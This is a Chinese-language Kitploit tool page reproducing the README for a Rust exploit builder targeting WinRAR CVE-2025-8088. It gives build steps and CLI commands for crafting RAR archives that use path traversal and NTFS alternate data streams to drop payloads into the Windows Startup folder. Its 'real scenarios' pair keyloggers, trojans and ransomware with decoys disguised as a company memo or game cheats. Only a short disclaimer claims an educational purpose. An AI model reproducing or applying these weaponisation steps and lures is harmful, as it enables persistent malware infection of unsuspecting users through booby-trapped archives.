Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
WinRAR-Exploit-Tool---Rust-Edition — 一个高性能、内存安全的WinRAR CVE-2025-8088漏洞利用工具实现,用Rust重写以提高可靠性和性能。 | Kitploit
工具/GitHubGitHub/kitsuneshade/winrar-exploit-tool---rust-edition
持久化机制漏洞利用Web应用程序漏洞利用后渗透利用渗透测试学习与教育红队Payload 开发二进制利用

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubkitsuneshade/winrar-exploit-tool---rust-edition

WinRAR-Exploit-Tool---Rust-Edition

一个高性能、内存安全的WinRAR CVE-2025-8088漏洞利用工具实现,用Rust重写以提高可靠性和性能。

查看仓库
8311个月前尚未审核

WinRAR 漏洞利用工具 - Rust 版本

高级 WinRAR 路径遍历漏洞利用工具 - 使用 Rust 编写

一个高性能、内存安全的 WinRAR CVE-2025-8088 漏洞利用工具实现,使用 Rust 重写以提高可靠性和性能。

特性

  • ADS 利用 - NTFS 备用数据流用于隐藏 payload
  • RAR5 头部操作 - 直接修补头部以实现路径注入
  • 现代 GUI - 基于 GTK 的漂亮界面,带有 CSS 样式
  • 启动目标 - 自动将 payload 放置到 Windows 启动项
  • 自定义诱饵支持 - 使用自己的诱饵文件或默认文件
  • 通用文件支持 - 支持任何文件类型作为 payload 和诱饵
  • 健壮的错误处理 - 全面的错误检查和诊断
  • 系统诊断 - 自动系统兼容性检查
  • 内存高效 - 低内存占用,智能资源管理

要求

  • Rust 1.70+ - 现代 Rust 工具链
  • GTK 开发库 - 用于 GUI 支持
  • WinRAR CLI - 用于创建 RAR 归档
  • Windows 10/11 - 需要 NTFS 支持

快速开始

1. 安装 Rust

root@kitploit:~
# Install Rust using rustup


# Verify installation
rustc --version
cargo --version

2. 安装 GTK 开发库

Windows (MSVC)

root@kitploit:~
# Using vcpkg
vcpkg install gtk:x64-windows

或使用 MSYS2

root@kitploit:~
pacman -S mingw-w64-x86_64-gtk4

3. 克隆并构建

root@kitploit:~
# Navigate to the rust project
cd winrar_exploit_rust

# Build in debug mode
cargo build

# Build optimized release
cargo build --release

# Run the application
cargo run --release

使用

  1. 选择 Payload - 选择任意文件作为 payload (.exe, .bat, .jpg, .pdf 等)
  2. 选择诱饵 - 选择任意文件作为诱饵(如果为空则创建默认文件)
  3. 命名归档 - 输入输出的 RAR 文件名
  4. 构建 - 生成漏洞利用归档

示例

基本用法

创建一个包含 payload 和诱饵文件的简单漏洞利用:

root@kitploit:~
# Create exploit with executable payload
.\winrar_exploit_rust.exe create --payload "C:\payload.exe" --decoy "C:\decoy.txt" --output "exploit.rar"

# Create exploit with script payload
.\winrar_exploit_rust.exe create --payload "C:\malicious.ps1" --decoy "C:\document.pdf" --output "malicious.rar"

高级用法

多个诱饵文件

root@kitploit:~
# Use multiple decoy files separated by commas
.\winrar_exploit_rust.exe create --payload "C:\payload.exe" --decoy "C:\photo.jpg,C:\document.pdf,C:\video.mp4" --output "multi_decoy.rar"

自定义释放目录

root@kitploit:~
# Specify custom directory where payload will be placed
.\winrar_exploit_rust.exe create --payload "C:\payload.exe" --decoy "C:\decoy.txt" --output "custom_drop.rar" --drop_dir "C:\Users\Victim\Desktop"

不同的 Payload 类型

root@kitploit:~
# Image payload (steganography)
.\winrar_exploit_rust.exe create --payload "C:\malicious.jpg" --decoy "C:\innocent.txt" --output "image_exploit.rar"

# PDF payload
.\winrar_exploit_rust.exe create --payload "C:\trojan.pdf" --decoy "C:\readme.txt" --output "pdf_exploit.rar"

# Batch script payload
.\winrar_exploit_rust.exe create --payload "C:\ransomware.bat" --decoy "C:\instructions.txt" --output "batch_exploit.rar"

系统诊断

root@kitploit:~
# Run system diagnostics to check compatibility
.\winrar_exploit_rust.exe diagnose

# Show available tools and features
.\winrar_exploit_rust.exe tools

真实场景

场景 1:企业环境

root@kitploit:~
# Create a malicious document that looks like a company memo
.\winrar_exploit_rust.exe create --payload "C:\keylogger.exe" --decoy "C:\company_memo.pdf" --output "important_memo.rar"

场景 2:游戏社区

root@kitploit:~
# Hide malware in a game cheat file
.\winrar_exploit_rust.exe create --payload "C:\trojan.exe" --decoy "C:\game_cheat.txt,C:\screenshot.jpg" --output "cheats.rar"

该工具使用以下方法创建带有路径遍历的 RAR 归档:

  1. ADS 创建 - 将 payload 隐藏在 NTFS 备用数据流中
  2. RAR 构建 - 使用 WinRAR CLI 创建带有 ADS 的基础 RAR
  3. 头部修补 - 将遍历路径注入到 RAR5 头部
  4. CRC 重新计算 - 确保归档完整性
  5. 输出 - 交付准备提取的恶意 RAR

路径示例:..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe

支持的文件类型

Payload 文件:

  • ✅ 可执行文件 (.exe, .bat, .cmd)
  • ✅ 脚本 (.py, .js, .vbs, .ps1)
  • ✅ 文档 (.pdf, .docx, .xlsx)
  • ✅ 图片 (.jpg, .png, .gif)
  • ✅ 视频 (.mp4, .avi)
  • ✅ 音频 (.mp3, .wav)
  • ✅ 任意文件类型

诱饵文件:

  • ✅ 文本文件 (.txt, .doc, .pdf)
  • ✅ 图片 (.jpg, .png, .gif, .bmp)
  • ✅ 视频 (.mp4, .avi)
  • ✅ 音频 (.mp3, .wav)
  • ✅ 文档 (.docx, .xlsx)
  • ✅ 任意文件类型

架构

root@kitploit:~
winrar_exploit_rust/
├── src/
│   ├── main.rs          # Application entry point
│   ├── gui.rs           # GTK-based user interface
│   ├── exploit.rs       # Core exploit logic
│   ├── ads.rs           # NTFS ADS manipulation
│   ├── rar.rs           # RAR5 header manipulation
│   ├── diagnostics.rs   # System diagnostics
│   └── error.rs         # Error handling
├── Cargo.toml           # Dependencies and build config
└── README.md           # This file

故障排除

该工具包含自动诊断,检查以下项:

  • ✅ WinRAR CLI 安装
  • ✅ NTFS ADS 支持
  • ✅ 启动目录权限
  • ✅ GTK 库可用性
  • ✅ 文件系统兼容性

常见问题:

  1. "未找到 GTK"

    root@kitploit:~
    # Install GTK development libraries
    # Windows (vcpkg)
    vcpkg install gtk:x64-windows
    
    # Or using MSYS2
    pacman -S mingw-w64-x86_64-gtk4
    
  2. "未找到 WinRAR CLI"

    • 从 https://www.winrar.com 安装 WinRAR
    • 确保 rar.exe 位于 Program Files 中
  3. "无法写入启动目录"

    • 以管理员身份运行该工具
    • 检查文件夹权限
  4. "不支持 NTFS ADS"

    • 确保你使用的是 NTFS 文件系统
    • ADS 在 FAT32/exFAT 上不受支持
  5. 编译错误

    root@kitploit:~
    # Update Rust toolchain
    rustup update
    
    # Clean and rebuild
    cargo clean
    cargo build --release
    

代码格式化

root@kitploit:~
# Format code
cargo fmt

# Lint code
cargo clippy

依赖

主要依赖包括:

  • gtk - 现代 GUI 框架
  • tokio - 异步运行时
  • windows - Windows API 绑定
  • crc32fast - 快速 CRC32 计算
  • byteorder - 字节序操作
  • anyhow - 错误处理

安全注意事项

  • 教育目的:此工具仅用于授权测试和教育目的
  • 受控环境:仅在获得适当同意的受控环境中使用
  • 法律合规:确保遵守适用的法律法规
  • 负责任的披露:遵循负责任的披露实践

许可证

本项目采用 MIT 许可证 - 详情请参阅 LICENSE 文件。

作者

由 Telegram 上的 @kanonufo 制作


用于 CVE-2025-8088 漏洞利用的高性能红队工具 - Rust 版本

下载工具